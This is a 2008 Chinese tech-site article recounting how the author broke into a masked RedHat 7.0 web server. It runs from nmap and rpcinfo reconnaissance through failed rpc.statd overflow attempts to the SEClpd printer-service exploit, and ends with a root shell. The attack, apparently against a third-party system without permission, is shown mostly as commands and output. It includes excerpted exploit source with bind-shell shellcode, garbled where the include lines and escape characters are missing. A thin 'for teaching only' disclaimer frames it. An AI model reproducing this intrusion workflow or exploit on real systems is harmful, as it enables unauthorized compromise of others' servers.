一次曲折的RedHat Linux操作系统入侵

日期: 2008-01-07 作者:GoGo 来源:TechTarget中国

  此文的目的不在于教人入侵,而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白:由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD:网络打印服务的攻击而进行的。


  首先确定目标,假设是:www.XXX.com


  先让俺看看是不是连得上:


        C:ping www.XXX.com
  Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:
  Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
  Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
  Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
  Reply from 202.106.184.200: bytes=32 time=511ms TTL=244
  Ping statistics for 202.106.184.200:
  Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
  Approximate round trip times in milli-seconds:
  Minimum = 511ms, Maximum = 651ms, Average = 580ms



  嘻嘻—不但连得上,速度还不错……


  先telnet看看banner:


  C:>telnet www.XXX.com


  遗失对主机的连接。


  再试试ftp,


  C:>ftp www.XXX.com


  Connected to www.fbi.gov.tw.


  220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.


  User (www.XXX.com:(none)):


  wu-2.6.1看来有点眉目了。这台机器像是RedHat7.0!首先必须确认一下,连上俺的跳板:


        C:>telnet xxx.xxx.xxx.xxx
  Red Hat Linux release 7.0 (Guinness)
  Kernel 2.2.16-22smp on an i686
  login: fetdog
  Password:
  bash-2.04$



  拿nmap扫描器,看看其中的奥妙~~~


        bash-2.04$nmap -sT -O www.XXX.com
  Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
  WARNING! The following files exist and are readable: /usr/local/sha
  -services and ./nmap-services. I am choosing /usr/local/share/nmap/
  s for security reasons. set NMAPDIR=. to give priority to files in
  irectory
  Interesting ports on (www.XXX.com):
  (The 1520 ports scanned but not shown below are in state: closed)
  Port State Service
  25/tcp open smtp
  79/tcp open finger
  80/tcp open http
  111/tcp open sunrpc
  113/tcp open auth
  443/tcp open https
  513/tcp open login
  514/tcp open shell
  515/tcp open printer
  587/tcp open submission
  1024/tcp open kdm
  TCP Sequence Prediction: Class=random positive increments
  Difficulty=3247917 (Good luck!)
  Remote operating system guess: Linux 2.1.122 – 2.2.16
  Nmap run completed — 1 IP address (1 host up) scanned in 9 seconds



  打开的端口还挺多,这意味着入侵的可能性增加。79/tcp open finger ,先看看这个,不过linux没有finger用户列表这个漏洞。


  bash-2.04$finger @www.XXX.com


  [www.XXX.com]


  No one logged on.


  再看看111/tcp open sunrpc 。近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说!


        bash-2.04$rpcinfo -p www.XXX.com 
  program vers proto port service
  100000 2 tcp 111 rpcbind
  100000 2 udp 111 rpcbind
  100021 1 udp 1024 nlockmgr
  100021 3 udp 1024 nlockmgr
  100024 1 udp 1025 status
  100024 1 tcp 1024 status



  看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。


        bash-2.04$./statdx -h
  statdx by ron1n
  Usage: stat [-t] [-p port] [-a addr] [-l len]
  [-o offset] [-w num] [-s secs] [-d type]
  -t attack a tcp dispatcher [udp]
  -p rpc.statd serves requests on [query]
  -a the stack address of the buffer is
  -l the length of the buffer is [1024]
  -o the offset to return to is [600]
  -w the number of dwords to wipe is [9]
  -s set timeout in seconds to [5]
  -d use a hardcoded
  Available types:
  0 Redhat 6.2 (nfs-utils-0.1.6-2)
  1 Redhat 6.1 (knfsd-1.4.7-7)
  2 Redhat 6.0 (knfsd-1.2.2-4)



  看来并不支持RH7。还是继续尝试,把0-2全部试试看再说!start……


        bash-2.04$stat -d 0 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed – statd returned res_stat: (failure) state: 21



  受挫,再试……


        bash-2.04$stat -d 1 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed – statd returned res_stat: (failure) state: 21



  一样!继续……


        bash-2.04$stat -d 1 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed – statd returned res_stat: (failure) state: 21



  rpc.statd行不通,想想RH7应该有个远程溢出,好像是lp服务造成的。“seclpd.c”应该是这个东东了。


  —————以下代码仅供教学使用,决不能用来进行恶意攻击—————


       /*
  * Welcome to http://hlc.cnroot.com/
  * Run: ./SEClpd victim brute -t type
  * Try first ./SEClpd victim -t 0 then try the brute.
  */
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #define ADDRESS_BUFFER_SIZE 32+4
  #define APPEND_BUFFER_SIZE 52
  #define FORMAT_LENGTH 512-8
  #define NOPcount 200
  #define SHELLCODE_count 1030
  #define DELAY 50000 /* usecs */
  #define OFFSET_LIMIT 5000
  char shellcode[] =
  ”x31xdbx31xc9x31xc0xb0x46xcdx80″
  ”x89xe5x31xd2xb2x66x89xd0x31xc9x89xcbx43x89x5dxf8″
  ”x43x89x5dxf4x4bx89x4dxfcx8dx4dxf4xcdx80x31xc9x89″
  ”x45xf4x43x66x89x5dxecx66xc7x45xeex0fx27x89x4dxf0″
  ”x8dx45xecx89x45xf8xc6x45xfcx10x89xd0x8dx4dxf4xcd”
  ”x80x89xd0x43x43xcdx80x89xd0x43xcdx80x89xc3x31xc9″
  ”xb2x3fx89xd0xcdx80x89xd0x41xcdx80xebx18x5ex89x75″
  ”x08x31xc0x88x46x07x89x45x0cxb0x0bx89xf3x8dx4dx08″
  ”x8dx55x0cxcdx80xe8xe3xffxffxff/bin/sh”;



  brute暴力破解。等上5-8分钟左右,结果出来了。


        – [+] shell located on www.XXX.com
  - [+] Enter Commands at will
  Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
  uid=0(root) gid=7(lp)



  uid=0(root权限),现在可以近一步入侵!但不要做坏事!

我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。

我原创,你原创,我们的内容世界才会更加精彩!

【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】

微信公众号

TechTarget微信公众号二维码

TechTarget

官方微博

TechTarget中国官方微博二维码

TechTarget中国

电子邮件地址不会被公开。 必填项已用*标注

敬请读者发表评论,本站保留删除与本文无关和不雅评论的权力。

作者

GoGo
GoGo

相关推荐